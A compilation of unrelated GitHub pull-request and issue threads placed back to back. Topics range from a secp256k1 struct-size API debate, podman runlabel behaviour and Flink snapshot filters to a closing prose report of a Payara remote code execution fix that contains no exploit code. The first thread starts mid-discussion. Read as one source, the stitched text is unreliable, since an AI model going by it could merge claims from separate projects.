If there is some value that cannot be defined in a API header file (and cannot be copied verbatim), then there is usually a function to get the needed value, if it is calculated, or exported symbol with the said value, if it is defined at build-time, or other methods, but the idea is that you do not need the header file at runtime.  Otherwise, the purpose of dynamic library is lost for any languages beside C/C++ (or maybe a couple of other langs that can parse C headers natively) - everyone would need to include their copy of the library with known build-time values. This might be OK for commercial software distribution, where you probably shipping everything as a bundle, but if this is a dynamic library that is going to be included in distros (and secp256k1 is inclued, with headers in separate secp256k1-dev package in debian, for example), then the functions that are part of the API should be usable without headers, in my opinion.
Let's say I add C extension to python-bitcointx package with the only purpose of getting this value from the header. Then: 1) to install python-bitcointx on your system you would need C compiler installed - which is not always true even for linux systems; 2) you install python-bitcointx with this C extenstion that gets built at the time of installation, and then upgrade secp256k1-zkp on your system, and this particular value is changed in new version - you will probably get memory corruption bugs without knowing whats going on - because the extension was not rebuilt.
So the only options without having this value exposed without header seems to be:

Just allocate a lot of space and hope it wont ever be larger than 100K bytes, for example (terrible option)
Include full library with python-bitcointx package and build it at installation time (bad option)
Include statically-linked library (very bad option - shipping binary executables that are hard to audit)

Sorry for the late reply and thanks for making your case so clearly. There was some discussion about your approach in #secp256k1 on freenode and I suggest you bring up your proposal there because I'm not knowledgeable enough in this area to mediate.
Fwiw I've had to overcome a similar problem when writing a rust bindings for MuSig including the the MuSig session type. Instead of allocating as many bytes as the size of a session, in rust it's possible to recreate the struct with the same layout as in C (see https://github.com/jonasnick/rust-secp256k1-zkp/blob/dea9e50b41bd70aae6cd705892f06e722755976d/src/ffi.rs#L39, that's what #[repr(C)] does). This is definitily more tedious, but has the advantage that the whole thing can be allocated on the stack (which is a design goal due to hardware wallet compatibility). I'm not sure if the same can be achieved with python.

There was some discussion about your approach in #secp256k1 on freenode and I suggest you bring up your proposal there

OK, noted.

in rust it's possible to recreate the struct with the same layout as in C

This is only marginally better than just measuring the size of the struct by printf("%d\n", sizeof(secp256k1_surjectionproof); and using the resulting value in your code. This is because the value can change at any moment in the future, and you will need to always track the changes. The size depends on the constant and compilation option (SECP256K1_SURJECTIONPROOF_MAX_N_INPUTS, #ifdef VERIFY).
There is no guarantee that the max_n_inputs constant won't be changed, other constants/#ifdefs would not be added, or new fields would not be added to accomodate some new features/requirements. You would need to track that and adjust your code. At this point, getting new size and just using it would be simpler.
And then you have to make sure that old version of your code (which uses smaller size for the struct) is never used with new version of the library. Otherwise you will get memory corruption.

Changed the approach a bit: in the header, I do
#define SECP256K1_SURJECTIONPROOF_RAW_SIZE sizeof(secp256k1_surjectionproof)
while in secp256k1.c, I #undef that name, and then declare the const variable that would be exported:
#undef SECP256K1_SURJECTIONPROOF_RAW_SIZE
SECP256K1_API const int SECP256K1_SURJECTIONPROOF_RAW_SIZE = sizeof(secp256k1_surjectionproof);

After conversation on #secp256k1 channel it was determined that better approach is to introduce create/destroy functions for this struct, and the create function would also call initialize function, so the caller won't need to do exctra call to init the struct. The code that wants to allocate the struct on the stack would still be able to do so, and would need to call initialize function directly, as before.
I'm closing this PR.


add new term SARS-CoV-2 Kawasaki-like syndrome

is COVID-19 the proper parent?

thanks @pnrobinson! I checked each paper and updated the synonym dbxefs


feat: add identity feature page

Description

Add feature page for identity features
Add enforce SSO section to SSO page

Testing required outside of automated testing?

[x] Not Applicable

Screenshots (if appropriate):

[x] Not Applicable

Rollback / Rollforward Procedure

[x] Roll Forward
[ ] Roll Back

Reviewer Checklist

[ ] Description of Change
[ ] Description of outside testing if applicable.
[ ] Description of Roll Forward / Backward Procedure
[ ] Documentation updated for Change

:tada: This PR is included in version 1.202.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


[FLINK-36165][source-connector/mysql] Support capturing snapshot data with conditions

Hey, this is an implementation designed to capture snapshot data with filtering conditions.
For example, by specifying scan.snapshot.filters: db.user_table:id > 200;, we can synchronize only the user data where the id is greater than 200.
issue link: https://issues.apache.org/jira/browse/FLINK-36165

Thanks for @uicosp's great work! It's indeed a long awaited feature.
Seems Debezium has a similar option called snapshot.select.statement.overrides, which allows users to project out unwanted columns and filter rows based on custom predicates.
As these options aren't available in incremental framework, it would be nice if we could support both row and column level pushdown with similar syntax, since they're both related to tweaking snapshot querying SQL. WDYT?

Thanks for @uicosp's great work! It's indeed a long awaited feature.
Seems Debezium has a similar option called snapshot.select.statement.overrides, which allows users to project out unwanted columns and filter rows based on custom predicates.
As these options aren't available in incremental framework, it would be nice if we could support both row and column level pushdown with similar syntax, since they're both related to tweaking snapshot querying SQL. WDYT?

it is also support table api and datastream api  with  incremental framework


Changed coordinates added to float32

Changed coordinates added with makecoordinates to default to float32 type for dap2 compatibility.
Added tests to make sure coordinate type is correct.

Codecov Report

Merging #13 into master will not change coverage.
The diff coverage is 100%.

@@           Coverage Diff           @@
##           master      #13   +/-   ##
=======================================
  Coverage   57.08%   57.08%
=======================================
  Files           4        4
  Lines         473      473
=======================================
  Hits          270      270
  Misses        203      203

Impacted Files
Coverage Δ

splitvar/cli.py
74.54% <100%> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 26bbb26...3300936. Read the comment docs.

Fixes https://github.com/coecms/splitvar/issues/12


Noice breaks when entering the command-line window from the cmdline popup

Describe the bug
Opening the command-line window from Noice's cmdline popup cause it to error out
Which version of Neovim are you using?
nightly: v0.9.0-dev-89-geb123b565e (just built it)
To Reproduce

open Noice's cmdline with :
press <c-f> to transition into the command-line window
wait a second for a bunch of error messages followed by Noice disabling itself (if you close the command-line window quickly it wont break)

mini config if required
local plug_dir = vim.env.HOME .. '/.local/share/nvim/site/pack/packer/start'

vim.opt.rtp:append {
	plug_dir .. '/nvim-notify',
	plug_dir .. '/nui.nvim',
	plug_dir .. '/noice.nvim',
}

require 'noice'.setup {}

Expected Behavior
no errors
Noice Log
Nothing is added to the log

Should be fixed now. Thank you for reporting!

yup that fixed it!
that's the fastest turn round I've seen on a bug :p


Fixed javadoc of fold

Fixes #1639

Current coverage is 96.48% (diff: 100%)

Merging #1642 into master will not change coverage

@@             master      #1642   diff @@
==========================================
  Files            89         89
  Lines         10940      10940
  Methods           0          0
  Messages          0          0
  Branches       1850       1850
==========================================
  Hits          10556      10556
  Misses          240        240
  Partials        144        144

Powered by Codecov. Last update 18afde3...5c9d0d6


[Issue #242] Sample Sandbox REST API

Creates a simple Dropwizard application with a single API endpoint at /sample.

Current coverage is 62.13% (diff: 100%)

Merging #244 into master will not change coverage

@@             master       #244   diff @@
==========================================
  Files           129        129
  Lines          3288       3288
  Methods           0          0
  Messages          0          0
  Branches        529        529
==========================================
  Hits           2043       2043
  Misses         1111       1111
  Partials        134        134

Powered by Codecov. Last update b050bfb...05ba228

We did the review together as a team.  Everything looks good.  Please get rid of the "Health Check" warning message by implementing a health check. Then go ahead to do the merge.

Add the issue number to the title.

@chenlica I have added a SampleHealthCheck and a README.md for the web module. This takes care of phase one of the Issue https://github.com/TextDB/textdb/issues/242. Do I proceed and merge this with master?

They look good to me.  Please go ahead to the merge.  Thanks!

Thank you!


Misc cleanup

Side note: cargo-bloat is a case where extra arguments for each run is useful, should we add support for those?

Thanks!

Side note: cargo-bloat is a case where extra arguments for each run is useful, should we add support for those?

How would that look like?

That would look like so:
➤ make bloat BLOAT_ARGS="--crates"
xargo bloat --release --target thumbv7m-none-eabi --crates
    Finished release [optimized + debuginfo] target(s) in 0.0 secs
File  .text   Size Name
0.6%  40.6% 2.4KiB cortex_m_rt
0.5%  36.1% 2.1KiB anne_key
0.2%  13.0%   772B stm32l151
0.1%  10.3%   612B std
1.4% 100.0% 5.8KiB .text section size, the file size is 418.4KiB

➤ make bloat BLOAT_ARGS="--filter anne_key"
xargo bloat --release --target thumbv7m-none-eabi --filter anne_key
    Finished release [optimized + debuginfo] target(s) in 0.0 secs
File  .text   Size Name
0.9%  63.9% 3.7KiB [34 Others]
0.3%  23.6% 1.4KiB anne_key::init
0.1%   4.5%   270B <anne_key::serial::Serial<'a, USART>>::send
0.1%   4.3%   258B <anne_key::serial::Serial<'a, USART>>::send
0.1%   3.7%   218B anne_key::main
1.4% 100.0% 5.8KiB .text section size, the file size is 418.4KiB

➤ make bloat
xargo bloat --release --target thumbv7m-none-eabi
    Finished release [optimized + debuginfo] target(s) in 0.0 secs
File  .text   Size Name
0.0%   2.7%   158B [18 Others]
0.4%  31.9% 1.9KiB SYS_TICK
0.3%  23.6% 1.4KiB anne_key::init
0.1%   7.1%   424B cortex_m_rt::reset_handler
0.1%   6.9%   410B DMA1_CHANNEL6
0.1%   4.5%   270B <anne_key::serial::Serial<'a, USART>>::send
0.1%   4.3%   258B <anne_key::serial::Serial<'a, USART>>::send
0.1%   3.7%   218B anne_key::main
0.0%   3.2%   192B DMA1_CHANNEL3
0.0%   3.1%   186B __aeabi_memcpy4
0.0%   2.8%   166B __aeabi_memset4
0.0%   1.7%   100B memset
0.0%   1.6%    96B memcpy
0.0%   0.6%    38B DMA1_CHANNEL7
0.0%   0.6%    36B DMA1_CHANNEL2
0.0%   0.3%    16B EXTI9_5
0.0%   0.3%    16B EXTI4
0.0%   0.3%    16B EXTI1
0.0%   0.3%    16B EXTI0
0.0%   0.3%    16B EXTI2
0.0%   0.3%    16B EXTI3
1.4% 100.0% 5.8KiB .text section size, the file size is 418.4KiB

When we use more crates (eg bitfields for #27), this could be useful.

Interesting. The other thing I wanted to try out around cargo bloat was to make it show more granular information. Because of all the LTO all the code ends up in SYS_TICK and anne_key, which is great for getting the smallest binary but doesn't really tell you much if you're trying to keep it slim.
I tried running cargo bloat with --debug, but then the binary is just too big, so we'd need to either hack the linker file to fake more memory than the stm32l1 actually has, or somehow still build in release mode but disable LTO.


Kanban Board Setup

Kanban Board Setup 👨💻 👨💻
On this milestone, We've implemented the following.

[ ] Setup kanban board and assign responsibilities, please see a link to the project below

https://github.com/users/tsheporamantso/projects/8/views/1

[ ] There are two members on the team

@Fombi-Favour
@tsheporamantso

Hi @tsheporamantso and @Fombi-Favour,
Your project is complete!  There is nothing else to say other than... it's time to start your project :shipit:
Congratulations! 🎉
STATUS: APPROVED 🟢

Highlights

Kanban board setup correctly ✅
Task assigned fairly ✅

Have any doubt ❓
Feel free to leave any questions or comments in the PR thread if something is not 100% clear.
Please, remember to tag @skyv26 in your question so I can receive the notification. You can also follow me on the below platforms

As described in the Code reviews limits policy  you have a limited number of reviews per project (check the exact number in your Dashboard). If you think that the code review was not fair, you can request a second opinion using this form.


fix runlabel functions based on QA feedback

Signed-off-by: baude<EMAIL_ADDRESS>

bot, retest this please

Hi @baude
Test with the patch. Seems -p will pull image no matter the image is exist or not. This is not consistent with the help text.
And I have a question about the code. Seems we get opt from env but will make a replacement for image and name. With this implement, we should treat image, name differently with opt when we add labels to image. It is a little wired for me. Is it possible to read them all from env and keep image, name and opts with the same format in the label?

I just noticed a problem with optional arguments that will appended to the rulabel command e.g., podman container runlabel LABEL IMAGE args. args can make some troubles for CLI parsing as it will be interpreted as such at the moment.

Hi @baude
Test with the patch. Seems -p will pull image no matter the image is exist or not. This is not consistent with the help text.
And I have a question about the code. Seems we get opt from env but will make a replacement for image and name. With this implement, we should treat image, name differently with opt when we add labels to image. It is a little wired for me. Is it possible to read them all from env and keep image, name and opts with the same format in the label?

Fixed the logic of -p.  I think the code is behaving as expected? And consistent with atomic cli.  Do you disagree?

bot, retest this please

/approve

I think we should discuss the behaviour of this PR.  @vrothberg and I discussed this in a private IRC, and I think the correct behavior should be:
If basename(command[0]) != docker {
alias docker=podman
exec command[0] + args
}
if command[0] exists {
exec command[0] + args
}
exec /proc/self/exe + args

I think we should discuss the behaviour of this PR. @vrothberg and I discussed this in a private IRC, and I think the correct behavior should be:
If basename(command[0]) != docker {
alias docker=podman
exec command[0] + args
}
if command[0] exists {
exec command[0] + args
}
exec /proc/self/exe + args

Valentin and I agreed he would submit a PR following mine given it is a change in behavior.  I support that.

bot, retest this please

bot, retest this please

Fixed the logic of -p. I think the code is behaving as expected? And consistent with atomic cli. Do you disagree?

No, this is not consistent with atomic cli. In atomic cli the image and name is also work with "$".  Here is the details:
#  podman container runlabel  install rhel7/etcd:latest
Command: /proc/self/exe run --rm  --privileged -v /:/host -e HOST=/host -e NAME= -e IMAGE=   /usr/bin/install.sh
unable to pull : error getting default registries to try: repository name must have at least one component
`/proc/self/exe run --rm  --privileged -v /:/host -e HOST=/host -e NAME= -e IMAGE=   /usr/bin/install.sh  ` failed: exit status 125

And here is the install label of the etcd image:
            "install": "/usr/bin/docker run --rm $OPT1 --privileged -v /:/host -e HOST=/host -e NAME=$NAME -e IMAGE=$IMAGE $IMAGE $OPT2 /usr/bin/install.sh  $OPT3",

ready for review

LGTM

/lgtm

Valentin and I agreed he would submit a PR following mine given it is a change in behavior. I support that.

Here's the PR: https://github.com/containers/libpod/pull/1637


⚠ GTru has degraded performance

In 32860d8, GTru ($GTRU) experienced degraded performance:

HTTP code: 200
Response time: 1452 ms

Resolved: GTru performance has improved in 7cf3af7 after 7 minutes.


Iss 243 qt6 broken project

wip #243 a draft of "How to fix a broken project" that will be referenced from an error message in MM Input

https://github.com/MerginMaps/input/issues/2366#issuecomment-1307908755 > qgis version fixed: 3.20+, 3.18.?, 3.16.7
Based on dates here  https://download.qgis.org/downloads/?C=M;O=D  it looks like it could possible be 3.18.3 (?)

To fix my project I had to create new connection to background map.
In project tc02_digitizing I have to create new connection with:
URL: https://www.qwant.com/maps/tiles/ozbasemap/{z}/{x}/{y}.pbf
Source: styleUrl=https://raw.githubusercontent.com/QwantResearch/qwant-basic-gl-style/master/style.json
I had to remove all behind 'style.json:
Source | styleUrl=https://raw.githubusercontent.com/QwantResearch/qwant-basic-gl-style/master/style.json&type=xyz&url=https://www.qwant.com/maps/tiles/ozbasemap/%7Bz%7D/%7Bx%7D/%7By%7D.pbf&zmax=14&zmin=0

During fixing of my project I had to do one more thing.
In project tc06_data_providers, where was a layer with this data:
URL	https://basemaps.arcgis.com/v1/arcgis/rest/services/World_Basemap/VectorTileServer/tile/{z}/{y}/{x}.pbf
Source	styleUrl=https://basemaps.arcgis.com/b2/arcgis/rest/services/World_Basemap/VectorTileServer/resources/styles/root.json&type=xyz&url=https://basemaps.arcgis.com/v1/arcgis/rest/services/World_Basemap/VectorTileServer/tile/%7Bz%7D/%7By%7D/%7Bx%7D.pbf&zmax=14&zmin=0

So I had to create new VectorTile connection with this data:

URL	https://basemaps.arcgis.com/v1/arcgis/rest/services/World_Basemap/VectorTileServer/tile/{z}/{y}/{x}.pbf
Source	styleUrl=https://basemaps.arcgis.com/b2/arcgis/rest/services/World_Basemap/VectorTileServer/resources/styles/root.json
Then I import this layer, project worked fine. The problem occurs again, when I wanted to copy user defined style to this new layer
I right-click on the old problematic layer, hit Style -> Copy style and then I pasted this style to newly added vector layer.
Now, the project was broken again.
So user can't copy styles from broken layers and they probably need to be recreated

@jozef-budac Thanks for your feedback, it is really helpful.

So user can't copy styles from broken layers and they probably need to be recreated
What about forms settings? Would copying the forms settings from a broken layer cause issues as well?

fix #243  More info and screenshots added - I tried to include as much as possible so that people have higher chance to resolve this issue by themselves. However, some of it is "hidden" in the details (you need to click on the details to see the content)  - if something proves to be crucial, we can move it to the main text to make it more visible.

This test of Input fails on master because of missing link to broken links: https://github.com/MerginMaps/input/blob/8cd53a80bd6cad4b0596dc0a23c4a6099421f076/app/test/testlinks.h#L129
can we review&merge&release docs ?


[Bug] Inconsistency in Language Options

In the tab Settings, one could choose the displayed language. In the dropdown list, several languages are offered. The first word is the name of the language in English. It is debatable whether English spelling the best way to show the language because non-natives might not know how their own language is spelled in English.
Nevertheless, the more severe issue is what is written in the parentheses. It is not clear what should be written their: Should it be the name of the language in their native spelling or should it be the name of the country where the language originates in its native spelling?
My suggestion is to clarify this issue first. Then, the displayed language options could be corrected according to the previous clarification.

Closing this issue as Reactive Resume has been bumped up to v2.


Rewrite DataCubeComponents query to use CONSTRUCT instead of SELECT

Currently, Visualize fires a lot of SELECT queries to fetch dimension metadata (e.g. name, description, scales, available values).
We would like to change this to use more performant CONSTRUCT queries, combining several separate queries into one, bigger CONSTRUCT query (or more, if complexities arise – but still reducing the overall number of requests to LINDAS).
The current implementation fires SPARQL queries sequentially: Values per Dimension 1,2,3... n, and finally fetches the hierarchies - much of which can happen concurrently (as it's already the case i.e. for multiple hierarchies) ... after the cube shape is loaded initially.
Switching to CONSTRUCT paradigm should result in increased performance.
Things we need to consider when fetching the data are stated below. We also need to include related dimensions in the querying logic.

Attribute
Localized

name
yes

description
yes

data type
no

unit
yes

currency, currency exponent
no

time unit
no

dimension types
no

scales
no

values
yes, several localized attributes

hierarchies
yes, several localized attributes

Some of those are already contained in and fetched with the cube shape.
User story
I would like the DataCubeComponents query to be CONSTRUCT-based, instead of being SELECT-based.
Definition of Done
DataCubeComponents query (including its many sub-queries) is consolidated into smaller number of CONSTRUCT queries, which should result in improved performance of fetching dimension metadata. Wherever possible SPARQL queries (i.e. values and hiearchies) are fired concurrently.

After investigation, it turned out using DESCRIBE along with #pragma describe.strategy cbd is more performant than asking for specific properties, probably due to some internal optimizations of cbd strategy.
As we then need to only fire one additional query for unit labels, it was decided that the current way of fetching components metadata is more performant than a complete switch to tailored CONSTRUCT queries.
Side note: this doesn't only impact component metadata, but also dimension values fetching, as we need to know upfront the data type of a dimension, along with several other things, to be able to fire a proper query (min / max or all dimension values with metadata). It means that if we switched to tailored CONSTRUCT queries, we would need to anyway fire one additional query just to get data type (which was taking a longer time than pure DESCRIBE on cube's shape) and only then fire a query for dimension values / and hierarchies.


roninjin10 nits and observations

Using this issue to track nits and observations I see in Mud building a simple app with it

The word ambitious here is scary and might make me think that Mud is heavy complicated and hard to use

Need a "why mud" or mud compared to alternatives type docs page imo

There are 0 links to these applications

Looks like MODE is an acrynom but don't know what it stands for

cc @qbzzt


Spaces in name produce 'Illegal character in opaque part at index '

Using spaces in the the plugin Jar causes ERROR log (but still loads) pf4j-2.2.0
Error logged: CompoundPluginDescriptorFindr.java71 - Illegal character in opaque part at index ... jar:file/./plugins/some file with spaces.jar
Logging ERROR, when plugin is still able to load and spaces in name are acceptable, is misleading

I will investigate but it's a bad practice to put spaces in a file name.


"Add data" button includes diagrams

Not to be merged into master. This is part of the long-running branch for XY Plot/Diagram integration
PT-186345541
Allows XY Plot tiles to link to shared variables provided by a Diagram tile.  The only current effect of linking is that the message "Shared variables are attached" will be shown in the plot legend.
Implementation:

Adds new Tile metadata key isVariableProvider -- currently true only for the Diagram tile. This means it has a set of shared variables that may be interesting for linking to other tiles.
Updates the "provider tile linking" dialog implementation. Instead of looking at the list of tiles and listing ones that are potential providers, it now looks at the list of Shared Data Sets - and in the case of the graph tile's "Add data" button, Shared Variables - and lists those. From the user point of view, this will in most cases not be noticeable, except:

If two tiles -- say, a table and a data deck -- are viewing the same dataset, both tiles were previously listed as separate choices in the menu, even though the effect of linking to either one would be identical. Now, there will be a single listing, with both names (if they are different; eg, "Table 1, Data deck 1").
If you link a table dataset to a graph and then delete the table, previously it would no longer show up in the menu at all (so you couldn't unlink it from the graph easily). Now it will show up. Since there is no tile name to show, it shows an ID string like 'SharedDataSet 3grQckdiQvJEnvXa'.

Code cleanup: this PR also removes use-tile-model-context from plugins/graph/imports/hooks -- which did not work since it defined its own TileModelContext that was never provided in CLUE -- and instead puts it in components/tiles/hooks referencing the context that TileComponent provides.
Testing notes:

The example-no-group-share unit is the only one that has the prerequisites for testing this at the moment.

Made some improvements based on comments, and updating the legend display to match what's in the PT issue.


Update sstablemetadata to pass in all sstables at once

Before, this was running a separate process for each sstable. This changes the return, but also allows us to run only a single process.

+1


Hana Insert Impl Basics

Description
Closes #{issue_number}.

Readiness checklist

[ ] I added/updated unit tests.
[ ] I added/updated integration/compatibility tests.
[ ] I added/updated comments and checked rendering.
[ ] I made spot refactorings.
[ ] I updated user documentation.
[ ] I ran task all, and it passed.
[ ] I ensured that PR title is good enough for the changelog.
[ ] (for maintainers only) I set Reviewers (@FerretDB/core), Labels, Project and project's Sprint fields.
[ ] I marked all done items in this checklist.

I get this error with task ling locally.
internal/handlers/hana/hanadb/insert.go:21:2: github.com/FerretDB/FerretDB/internal/handlers/sjson is in the denylist (depguard)
Is there a way to suppress it?  Or how come its in the deny list?


⚠ DDoS-Relay US-W-hil-2 has degraded performance

In 9259001, DDoS-Relay US-W-hil-2 (http://<IP_ADDRESS>:42069/;csv) experienced degraded performance:

HTTP code: 200
Response time: 32 ms

US-W nodes disabled because of upstream networking issue.


Memoize button click handlers

Stop virtualdom from swapping out every event handler on every update

Measuring DOM updates

Add a console.log to node_modules/virtual-dom/vdom/patch-op.js

Delete your config.json and run Webtorrent

Before: 30 updates / second

After: 0 updates / seconds

That's because update() gets called once a second, and even if nothing has changed, virtual-dom won't be able to tell that two anonymous functions are equivalent, so it'll replace all the event handlers.


Revert "PR for admin-dashboard-init"

Jumped the gun on merging Kendra's PR, have to revert

Jumped the gun on merging Kendra's PR. Have to revert.


Mobile screen display on PC just 1-2 sec. then disconnect

After run scrcpy.exe
The mobile screen display on PC just 1-2 sec. then disconnect
Please help. Thanks!
Environment

OS: Win10
Android 13

Log:
scrcpy 1.24 https://github.com/Genymobile/scrcpy
adb server version (40) doesn't match this client (41); killing...

daemon started successfully
E:\OBS\scrcpy-win64-v1.24\scrcpy-server: 1 file pushed, 0 skipped. 37.4 MB/s (41159 bytes in 0.001s)
[server] INFO: Device: Google Pixel 6 Pro (Android 13)
INFO: Renderer: direct3d
INFO: Initial texture: 1440x3120
WARN: Device disconnected

https://github.com/Genymobile/scrcpy/blob/master/FAQ.md#conflicts-between-adb-versions


Fixed image pull policy for external jenkin, added cleanup for wls image

http://build.weblogick8s.org:8080/job/weblogic-kubernetes-operator-quicktest/930/ - external Jenkins run
http://wls-jenkins.us.oracle.com/job/weblogic-kubernetes-operator-javatest/4075/ - internal

Changes look good but I'll be wanting to see a clean external test run.

run with my changes produce same failures as in develop.
http://build.weblogick8s.org:8080/job/weblogic-kubernetes-operator-quicktest/931/testReport/ 👍
oracle.kubernetes.operator.ItJrfPvWlst.testJrfDomainOnPvUsingWlst - consistent failure
oracle.kubernetes.operator.ItOperatorUpgrade.testOperatorUpgradeFrom2_3_0 intermittent failure, I think vanaja just added some fix for that in
vanajamukkaravanajamukkara
#1418 Owls79453
Integration tests are failing with intermittent connection timed out failures in operator upgrade tests.

external Jen results consistent with develop branch, one failure on both http://build.weblogick8s.org:8080/job/weblogic-kubernetes-operator-quicktest/937/


Captcha is not accessible

Hello,
The captcha is not accessible to blind or ill-sighted people.
A better (but not perfect) option would be to rely on Google's reCAPTCHA, which includes an audio "fallback".
It would be nice to have the option to generate a simple project-specific token (just a random string of characters), and include it in the URL to skip the captcha altogether. That way, developers can include a "submit a bug report" button in their application, knowing that mass-harvesting tokens would involve understanding the source code, and therefore be a rather difficult task for bots.

Hi there. I agree this would be a great improvement and I'd be happy to merge a PR. Unfortunately my own schedule is fairly busy at the time (and, as you probably know, Git Reports is a free service) so I can't make any promises about when I'll have time to work on it myself.

Would you be opposed to using a service like reCaptcha? (We're happy to make the actual change to use it.)

I'd have no problems with using recaptcha :)

One thing to keep in mind is locale support (this might have been why I didn't use recaptcha the first time around -- can't remember). Git Reports has French and Polish users who have contributed locale translations of the site content; simple_captcha allows you to customize all of its messages with locales (see here for example). So ideally the new CAPTCHA should also translate appropriately based on locale header. I assume recaptcha does this since Google obviously has a huge international user base but I'm not sure offhand.

I can't find an explicit mention of support, but there's a comprehensive languages code page which includes both French and Polish in v2: https://developers.google.com/recaptcha/docs/language
I'd be happy to look into this, if there's still room for a PR.

Yeah, feel free to send a PR. The folks who opened the issue never got around to sending me one 🙂

Ya, sorry. We hand't gotten around to it yet. Feel free to do it, otherwise I will eventually get around to it. :)
Either way though, thank you.


https://search.nixos.org/options show strange example for httpd .listen ? (json? python?)

Describe the bug
on
https://search.nixos.org/options?channel=21.05&show=services.httpd.virtualHosts.<name>.listen&from=0&size=50&sort=relevance&type=packages&query=services.httpd.virtualHosts.<name>.listen
code given in the example section is
[   {     "ip": "<IP_ADDRESS>",     "port": 443,     "ssl": true   },   {     "ip": "<IP_ADDRESS>",     "port": 80   },   {     "ip": "*",     "port": 8080   } ]
is that even valid nix notation, of have i drank too much coffee?
          services.httpd.enable = true;           services.httpd.virtualHosts.localhost = {             listen = [{ ip = "*"; port = 9000; }];             adminAddr =<EMAIL_ADDRESS>            documentRoot = "/tmp";           };

@ncfavier I think this may be right up your alley to check all of these in Nixpkgs.
You could prepend p: with p;  to the expressions to make Nix's scope checking ineffective.
$ nix-instantiate --eval --expr 'x: with x; pkgs.runCommand "foo" {}'
<LAMBDA>

$ nix-instantiate --eval --expr 'x: with x; {"I am": "JSON"}'
error: syntax error, unexpected ':', expecting '.' or '='

       at «string»:1:19:

            1| x: with x; {"I am": "JSON"}
             |                   ^

You could probably run that in a derivation as well because it doesn't need the store.

See https://github.com/NixOS/nixos-search/issues/351 and https://github.com/NixOS/nixos-search/pull/357. This isn't a problem with nixpkgs.

Checking is probably still a good idea, so I've turned that into issue #141103


iOS WebView Does Not Persist Camera and Mic Permission Status in In-App Webview

Expected Behavior:
The WebView should remember the previously granted camera and microphone permissions, and not prompt the user again for permission.
Actual Behavior:
On iOS, the WebView asks for camera and microphone permissions every time the app is launched, and the video meeting page is accessed within the WebView. The permission status is not persisted across app sessions.
Additional Information:
This issue is specific to iOS and is not observed on Android devices. The behavior is consistent across different versions of iOS.
Code:
 Positioned.fill(
            child: InAppWebView(
              initialUrlRequest: URLRequest(
                url: Uri.parse(widget.url),
              ),
              onWebViewCreated: (controller) {
                webViewController = controller;
              },
              initialOptions: InAppWebViewGroupOptions(
                ios: IOSInAppWebViewOptions(
                  allowsInlineMediaPlayback: true,
                  allowsAirPlayForMediaPlayback: true,
                ),
                crossPlatform: InAppWebViewOptions(
                  // Assign the permissionRequestHandler function
                  mediaPlaybackRequiresUserGesture: false,
                ),
              ),
              androidOnPermissionRequest:
                  (InAppWebViewController controller, String origin, List<String> resources) async {
                return PermissionRequestResponse(
                  resources: resources,
                  action: PermissionRequestResponseAction.GRANT,
                );
              },
              onLoadStart: (controller, url) {
                isLoading.value = true;
              },
              onLoadStop: (controller, url) {
                isLoading.value = false;
              },
            ),
          ),

Environment:
Flutter Version: 3.10
iOS Version: 15.7
Device: iPhone 7
flutter_inappwebview: 5.7.2+3
Notes:
This issue affects user experience, as users are prompted for camera and microphone permissions every time they access the video meeting page within the WebView on iOS devices. It is essential to ensure a smoother and more streamlined user experience by persisting the permission status across app sessions on iOS.

I'm also having the same problem

It is an IOS webkit behavior and cannot be escaped. If you are using camera and mic in your app using webkit, it will always ask for permission.

Is this still the expected behavior? Kind of frustrating, I assume its because there is no persistence with a webview, similar to how private mode works?

@willsmanley if you still got the issue try to add directly flutter_inappwebview_ios for ios and flutter_inappwebview_android for android. this might help.
for me this works. no extra configuration needed.
i thinks the problem is not properly implemented iOS WKWebView and Android WebView, which will preserve the permission state.
for webview_flutter package use webview_flutter_wkwebview and webview_flutter_android plugin.


Anyone click on the map to show Popup?

Anyone click on the map to show Popup?How does this function work

Built-in Popup is always linked to a feature, like shape. See example https://github.com/lolochristen/OpenLayers.Blazor/blob/main/src/OpenLayers.Blazor.Demo.Components/Pages/Index.razor


Fix consul/k8s service registration documentation and templates

Both default value are missing the hcl extension.
https://github.com/ansible-community/ansible-vault/blob/42ae6c7e5a8990b08f72c6b9a300d548b3e11c47/defaults/main.yml#L165
https://github.com/ansible-community/ansible-vault/blob/42ae6c7e5a8990b08f72c6b9a300d548b3e11c47/defaults/main.yml#L185
The source of this mistake was an oversight on the PR #153 that introduced the service registration feature

Thanks for spotting this. When I checked the files in templates I noticed that templates/vault_service_registration_kubernetes.j2 is also missing that extension, and probably the temlate: action src: parameter needs to be adjusted as well to make this neat.

@bbaassssiiee There's no template/src because these files are included from the main template: https://github.com/ansible-community/ansible-vault/blob/master/templates/vault_main_configuration.hcl.j2#L53-L58
So the fix I just pushed should do it.

LFTM

LFTM


Changed line 42

shouldn't it be this way? I just had this problem due to some issue which i couldn't identify. but this should fix it.
not tested though, but just an assumption.
edit: just tested it, works like it should

@SscSPs It's very unusual your error. I cannot see why your execution fail. Any specific reason? For me and other users the script works perfectly.
Thank you for your collaboration.

I am sorry i couldn't reply any sooner.
the issue for me was that it was trying to look for "opencv-3.1.0" in the root(/) and it said that it was unable to find any such file of folder.


Progen data refactor

The new format progen = dict() should allow to add more data used by progen.
The target can add tool flags to be overwritten by the default mbed template, or
even inject own template. This might be required for some targets. Therefore we
shall allow thiss.
I added gr-peach target . The new version of progendef will be released soon, then we can merge this. This target requires special fpu settings in IAR as I noticed, which is currently not set for this mcu, something I need to address in progendef.
@bridadan

@TomoYamanaka just a heads up, with this changeset, exporting to IAR for rz_a1h should be functional, however I noticed there's fpu settings mismatch in the project (=warning), I would like to fix this. If you find time to test, the latest progen def (v0.2.7) includes your mcu.

@TomoYamanaka I updated this PR, your target should build with IAR. Can you please test this PR ? My above comment is now fixed ,no warnings/errors, using IAR 7.10. I  just updated to 7.40 , will test tomorrow.
@bridadan Please test this, review.

Built and ran MBED_10 test on K64F and RZ_A1H, both look good!


Validate Custom Name

A Remote Code Execution was reported in Payara, achieved via a Host Header attack of the Webservice Tester servlet which gets loaded on deployment of a JAX-WS application.
The Host Header attack was fixed in the servlet, but for completeness we also looked into fixing the RME too.
In the example given to us, the RME comes in from a custom parameter name binding not being validated or sanitised, leading to the parameter getting replaced with malicious code. Specifically in the example given to us (but not necessarily limited to this), the parameter name in the javadoc of the method gets replaced with malicious code.
